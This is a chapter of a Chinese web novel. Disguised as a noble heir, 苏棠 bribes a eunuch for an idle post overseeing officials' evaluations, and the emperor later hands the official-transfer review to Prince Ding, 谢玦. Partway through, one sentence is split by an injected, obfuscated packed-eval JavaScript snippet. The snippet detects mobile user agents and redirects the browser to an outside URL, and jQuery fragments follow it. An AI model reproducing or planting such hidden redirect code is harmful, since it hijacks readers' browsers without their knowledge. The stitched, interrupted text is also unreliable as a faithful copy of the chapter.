21. 第二十一章 百官调动
作品:《满级马甲在古代被迫从良》 李正不语,捐官一事他确实能做到,观此人气度和从他言语中看,定是有些背景,事后应当不会给他带来麻烦。
当然,这些都是次要的。
最主要的是,他给的实在是太多了!
“什么官都行?”李正问得谨慎。
“只要是个官儿就行,没活干的更好。”苏棠挥挥手,双臂大张往后一倚。
“敢问,公子贵姓?”
“王。”
王?难道是那个王?
李正暗暗打量对面正抖腿的人,他倒是听说过那家有个幺儿,年龄也差不多,若真是,确实是个大人情,没准还能为自己恩放美言几句。
“原来是王公子,咱家失敬失敬。”一拱手,态度谦卑又恭敬。
苏棠脸上傲然,心里嘀咕:他联想到什么了?
“王公子脸上的伤可有大碍?”
抬手摸了摸,满不在乎的说:“这?喝花酒摔的,御医看过了,不妨事。”
御医,看来是王然老大人家没错了!
苏棠知道,这也是他的试探,不过既然能让一个内监如此忌惮,请得起御医也不为过,她就信口胡诌了,看他脸色,赌对了。
“哎哟~,王公子可得当心呐,不然王老大人得多心疼。”李正嚎得情真意切,这么多年,这点面子功夫还是手拿把掐的。
“劳内监大人费心了。”苏棠回应的不算热情,李正赶紧打蛇随棍上。
“近日啊确实有一空缺,位置重要,官职还不低,主要负责管理百官考绩,就是……有些冷僻,升迁上……,但对于公子您来说便是小事一桩了。”
“最主要的是完美符合您的要求,事儿少!只在每年考核之际有些许小活,也可吩咐底下人去做,素日里清闲的很,这位置百年难求啊,若不是近日调整是万空不出来的。”
难升迁?那就不会有人盯着这个位置。
管理百官考绩,那不是百官都得讨好她,都能帮她办点小事?
还清闲没活干,很好,听着挺符合她的要求。
但,京官……
“有没有外放的官?”苏棠眼睛亮亮的。
“这……近日调整的都是京中官员,外放官员确实没有空缺。”李正谄媚的陪着笑。
开玩笑,给王老大人的幺儿弄个外放的官,他还想不想恩放了?
苏棠没想到,抖机灵弄巧成拙了。
“就这一个缺?”
“就这一个缺。”
“那好吧。”无奈但必须接受。
事情到此处总算是办妥了,苏棠心中松了口气,但不知为何还是有些悬着心,总感觉不舒服。
李正赶紧起身陪笑,“那咱家这就回去办,定给您安排得妥妥当当。”说着眼神瞟向桌面的银子。
苏棠还有些心烦,挥了挥手示意他拿走。
“哎,多谢公子。”
李正将银子抱在怀里,小心的捏了捏,感觉到硬度后,喜笑颜开,赶紧用丝帕盖上。
忽的想起什么。
“后面咱家就不便与公子相见了,还是得避避嫌,有事就托那位苏小弟传达,公子莫怪。”
苏棠点点头,这是小事。
“约摸半月百官调动一事就有了结果,事情办妥了定第一时间通知您,您就请好吧。”
“那就多谢李内监了。”一拱手抬得高高的,心绪不佳,就将纨绔人设进行到底了。
“公子言重了。”得了银子,哪还用在意这些浪荡子的态度,李正笑成一朵花,退了出去。
第一关总算过了,苏棠摊在椅子上,有些心累,真的是跟以前做项目谈判一样,你来我往坑蒙拐骗,好久没干这个行当了,有些手生。
半个月……,半个月后她的生活就可以安稳下来了,到时候再看能不能寻个机会外放,日子就再美好不过了。
百官考绩,苏棠摸了摸下巴。嘿嘿,可以借机给蔡知府使绊子啊,找找他以前考绩里的漏洞,没准就能找到罪证给他拉下来,两件事情都能办妥。
想到这一层,苏棠的心情莫名好了。待在京城就待在京城吧,她努力苟住,不往那些人精堆里扎就是了。
上了马车的李正长舒一口气,温柔的摸了摸怀里的银子,幸亏此次定王不参与百官调动,要不还真不好办,这下妥了,之前的一百两、这次的三百两再加上事成后的五百两,这下自己可以高枕无忧了。
送走李正的苏大壮回头望了望燕春楼,毅然走了回去。
松弛下来的苏棠正准备叫桌好吃的犒劳一下自己被杀死的脑细胞,敲门声就响了起来。
是店小二吗?来得正好。“请进。”
“贾书生在哪里?”
苏大壮?他不是去送李内监了吗?特意回来找他?
“他……有些私事要忙,你有什么事吗?”苏棠有些没反应过来。
“我和贾书生还有些事情没有解决完,还得当面跟他说清楚,他既然有事,我去小院蹲他。”说完扭头就要走。
“等等!”脚步停住。
他说的事不会是向自己证明京城人善吧?啊……死脑筋真是伤不起。
咕咚,苏棠咽了口口水,她一会必须多吃点补充脑细胞!
“他近日确实有事出京了,不如这样,他临行前说大约半月后回京,李内监的事也要半个月解决,到时我带他与你相见如何?”
能拖一时算一时吧,先把最近的风头过去,再让那位贾书生出场,半个月没消息,定王也当没有耐心了,自己最近就吃喝玩乐,万事不沾,她不信她还能一直盯着自己。
苏大壮表情有些犹豫,“贾兄不喜我们去小院寻他,那有他未婚妻在呢,你若去了,他怕是不高兴,而且贾兄人不在京,也得避嫌不是。”苏棠乘胜追击。
苏大壮一听,有理,一开始就是他们调戏贾书生未婚妻挑起的事端,若他们几个趁人不在找去小院,反倒说不清了。
反正自己也是想让他亲口承认京城人善,倒是不着急。
“好吧,半月后我带着内监的回信,还在这等。”
可算劝好了,苏棠长舒一口气,有些心累。
哭唧唧。
算了,不吃了,她要回去睡一觉,安慰一下自己。
“有事启奏,无本退朝。”
随着大监的一声唱赞,百官安静鱼贯而出。
谢玦走在最前方,无人敢越过他去,一个小太监脚下生风,急急追赶,终于在宫门前追上了。
“定王殿下,陛下有请。”腰身低伏,万分恭敬。阖宫里谁都知道定王性子冷淡,闲事从不理会,但却无人敢触他霉头。
犯在他手里的,都没有好下场。
一言未发,谢玦随着小太监进了内廷。
他走后百官松了口气,默默松乏了一些,这位殿下不爱多话,气场却太强了些,压的他们喘不上气来。
御花园内姹紫嫣红,春日里百花争妍,处处堆叠,人藏在其间倒是不打眼了。
正中凉亭内一身黄袍的谢乾正在挥毫泼墨,周围一圈随侍的小太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143384|195501||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
监。谢玦到来时,他刚刚停笔,正意犹未尽的欣赏自己的大作。
“哎,五弟快来快来,快看朕这副《春日繁花图》绘得如何。”
谢玦垂首瞥了一眼,“陛下,还有折子没批完呢。”
“哎呀,你便让朕乐一乐嘛。”语气有些泄气,又有些暗暗的撒娇。虽然他是兄长,但在谢玦面前他才像那个不谙世事的弟弟。
没办法,他自幼病弱得很,先皇便一直娇养着他,别的皇子到了年岁都或多或少的出去历练过,只有他一直在皇城里待着,做储君培养。
谢玦一言不发的看着他,看得有些发毛。
“哎呀五弟,除了朝政还有很多有意思的事情啊,赏赏花观观月,人要有爱好嘛,你终日扑在政事上多无趣。”
“那不如臣下将政事送回养心殿?”
“啊?”崴了,搬起石头砸自己的脚,“不用不用,你忙你忙,呵呵。”
“朕可算知道父皇临终前为何让你做这辅政大臣了。”无奈的摇摇头。
谢乾被念叨的失了趣,把笔随手一丢,不经意一低头,看见谢玦手上揣着一物。
“咦?五弟怎么拿着个瓶子?”从谢玦手里拿过来,仔细端详。
“下面供上来的,觉得有些意思而已。”伸出手,讨要。
“哎,难得有你觉得感兴趣的东西,哪里供上来的?朕要好好赏他,要不朕给你建个窑厂?你想要什么样的尽管吩咐他们去做。”谢乾越说越性质盎然,仔仔细细的端详着瓶子。
“陛下,劳民伤财。”手又往前递了一寸。
“好吧好吧,还给你。不过这陶制的未免太粗陋了些,配不上你,等朕找些好的赏给你。”一挥袖袍,坐到了圈椅上。
“不用,这个就很好。”手指在玉壶春瓶上轻轻摩挲。
“那就随你吧,今日朕找你来是有一事。前些时日朝堂上议论的百官调动之事还是由你来接手吧,其他人朕不放心。”
“是,臣遵旨。”谢玦无波无澜应承下来。
“五弟,你不会怪朕在你身上压的担子太重了吧?”谢乾盯着他。
“陛下多虑了。”
谢乾叹了口气,有些无奈。“那好吧,五弟能者多劳了,你说你什么时候能有点活人气,懂得抱怨,朕就阿弥陀佛喽。”
谢玦但笑不语。
“对了,近日不少大臣参六弟总扎在烟花柳巷里,有失皇家体统,朕不好多说什么,免得他又多思多虑,你替朕去警告他一番。”谢乾面对谢安这个六弟有些头疼,拧了拧眉。
“是。”
“趁机,你也去秦楼楚馆里转转,开开眼界,没准能有点什么收获。”谢乾语重心长的开口劝到,他这个五弟哪都好,就是性子冷硬了些,别人在意的、争抢的,他全不往心上放,也不知道什么能引起他的注意,行吧,今天总算有个瓶子的爱好,他得多搜罗一些。
“陛下。”谢玦语气平稳,毫无起伏,但谢乾最怕他这副跟爹一样的死样子。
“啊,好了好了,朕累了,你别念朕了,朕要休息了。”背身转头,拒绝唠叨。
“臣告退。”
谢玦一路走到宫门口,此时百官已散,车马寂寥,只有承影等着他。
“王爷。”
“去将百官调动的折子都搬到澄心堂。”登上马车净手。
“是。”在宫门口,承影不便多说什么,只得腹诽:皇上又给王爷加担子。
“小院那边近日可有动向。”马车里传来一道疲惫的嗓音。

